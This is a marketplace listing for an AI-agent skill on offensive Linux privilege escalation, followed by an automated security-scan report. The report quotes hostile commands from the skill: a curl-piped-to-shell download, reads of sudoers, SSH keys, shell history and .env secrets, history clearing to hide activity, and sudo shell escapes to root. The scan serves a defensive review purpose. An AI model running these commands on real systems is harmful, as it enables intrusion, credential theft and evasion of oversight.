SnailSploit/Claude-Red / Skills/privesc/offensive-linux-privesc
offensive-linux-privesc
FlaggedComprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195, PwnKit CVE-2021-4034), Docker group container escapes, LD_PRELOAD and LD_LIBRARY_PATH hijacking for shared library injection, systemd service misconfigurations, and sensitive file enumeration for credential harvesting. Integrates automated enumeration with LinPEAS, linux-exploit-suggester, pspy for process monitoring, and GTFOBins for binary exploitation. Each technique includes detection signatures and defender-side visibility to support purple team operations. Maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and related sub-techniques. Designed for authorized penetration testing, red team engagements, and CTF competitions where you hold a low-privilege shell and need to escalate to root.
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
fd81441b613c7d4fab39256720a31c96859d138b- Content hash
c25e8590909132c43bce5aa8d54901eb93f5c7f107ab92147e1624b219f6e83d- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 4 open critical or high findings.
- Verification expires
- Not applicable
Findings (4 high, 2 medium, 11 low, 1 info)
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.outSuggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
The skill refers to system password files, a location that holds private data or credentials.
cat /etc/sudoers 2>/dev/nullSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to SSH keys, a location that holds private data or credentials.
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/nullSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
Shell history or system logs are erased, which hides what was done.
Clear command history: history -c && unset HISTFILESuggested fix: Remove commands that clear history or logs.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to shell history, a location that holds private data or credentials.
cat ~/.bash_historySuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A command runs with administrator privileges.
2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
Sudo rules are the most common privilege escalation vector in real engagements. Check `sudo -l` immediately upon gaining a shell.Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -lSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
# If sudo allows vi/vim NOPASSWDSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo vim -c '!bash'Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo less /etc/shadowSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo find /tmp -exec /bin/bash \;Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -u targetuser /bin/bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
The skill reads a .env file, which usually holds secrets. This is often legitimate, but check what is done with the values.
cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/nullSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A command runs with administrator privileges.
| Sudo exploitation | Auth logs showing sudo usage for unusual commands, sudoers file modification timestamps |Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
LD_PRELOAD via sudo env_keepSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges. Severity lowered from low because the surrounding text warns against it.
description: "Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation …Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 193k | Updated | Claude CodeCodex | Verified | Install |